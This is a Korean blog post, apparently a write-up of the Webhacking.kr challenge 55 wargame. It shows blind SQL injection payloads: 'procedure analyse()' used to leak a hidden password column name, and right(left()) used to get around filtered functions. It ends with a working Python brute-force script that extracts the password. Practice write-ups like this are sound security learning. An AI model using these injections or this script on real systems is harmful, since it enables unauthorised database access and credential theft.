zj3t

email: euntaejang@gmail.com

Latest Posts

Webhacking.kr 55-Blind Sql injection

By 오후 8:41




rank table에는


------------------------------------
id
-------------------------------------
score
-------------------------------------
password
-------------------------------------

이런식으로 되어있는 것 같습니다.
password colunm을 알아야할 것 같아서 procedure analyse()를 사용해보기로 했습니다.

이전에 풀었던 문제중에서 이 함수를 통해 테이블의 이름을 얻어온 적이 있었죠??





일단 참과 거짓일 때의 결과가 다릅니다. 따라서 Blind sql injection을 수행할 수가 있었습니다.

ascii, from, substr 등 여러개가 필터링이 걸려있는 것을 확인할 수가 있었습니다.

length는 다행히 걸려있지 않았습니다.

그럼 password의 길이를 알아 봐야하는데 password 칼럼이 어떤 이름으로 되어있는지를 알지 못합니다. 단지 패스워드가 소문자라는 힌트밖에 없었습니다.


?score=1 or 1=1 limit 2 procedure analyse() 를 입력해쓸 때의 결과 값입니다.

id : oldzombie.challenge55_game.ip //


여기선 생략 했지만, ?score=1 or 1=1 limit 1,0 procedure analyse() 일때의 결과 값은

id : oldzombie.challenge55_game.score //

입니다.


?score=1 or 1=1 limit 2,1 procedure analyse() 세번째 값을 보기위해서 시도하였습니다.

id : oldzombie.challenge55_game.pAsSw0RdzzzZ //

password가 들어있는 colunm의 명은 pAsSw0RdzzzZ 입니다.

따라서 length(pAsSw0RdzzzZ) 나 ascii(substr(pAsSw0RdzzzZ,1,1))=?? 으로 길이와 값을 찾아줄 수가 있게 되었습니다.

단 ascii와 select, substr등이 필터링 되어있기 때문에 다른 방법을 찾아야하는데 검색 끝에 right와 left를 이용해서 ascii와 substr같은 효과를 낼 수가 있었습니다.

만약 string="hello" 일때 ascii(substr($string,1,1))=h가 됩니다.
여기서는 right와 left를 이용해야하는데, substr과는 다르게 인자가 2개밖에 들어가지가 않습니다.

left($string,1)은 h 가되고 left($string,2)은 he가 됩니다. left($string,3)은 hel이 되겠구요
right(left($string,2),1) 은 left($string,2)가 he 그중 가장 오른쪽인 e를 가져오고
rigth(left($string,3),1) 은 left($string,3)가 hel 이고 가장 오른쪽인 l을 가져옵니다.

이런식으로 ascii(substr($string,1,1)) 과 같은 효과를 낼 수가 있습니다.

그렇다면 전과 같은 방법으로 스크립트를 작성해보도록 하겠습니다.


  1. import urllib, urllib2

  2. password=""
  3. password_len=0
  4. tem=''

  5. for i in range(1,30):
  6.     url="http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(i)
  7.     req=urllib2.Request(url)
  8.     req.add_header('Cookie','PHPSESSID=본인꺼 입력')
  9.     res=urllib2.urlopen(req)

  10.     if "localhost" in res.read():
  11.         print "Length or password: "+ str(i)
  12.         password_len=i
  13.         break

  14. for i in range(17, 19):
  15.     for j in range(0,123):
  16.         url="http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,+"+str(i)+"),1)="+hex(j)
  17.         req=urllib2.Request(url)
  18.         req.add_header('Cookie','PHPSESSID=본인꺼 입력')
  19.         res=urllib2.urlopen(req)

  20.         if "localhost" in res.read():
  21.             tem=str(hex(j))[2::]
  22.             password=password+tem

  23. print password

이렇게 하면 password를 구할 수가 있었습니다ㅎㅎ



You Might Also Like

0 개의 댓글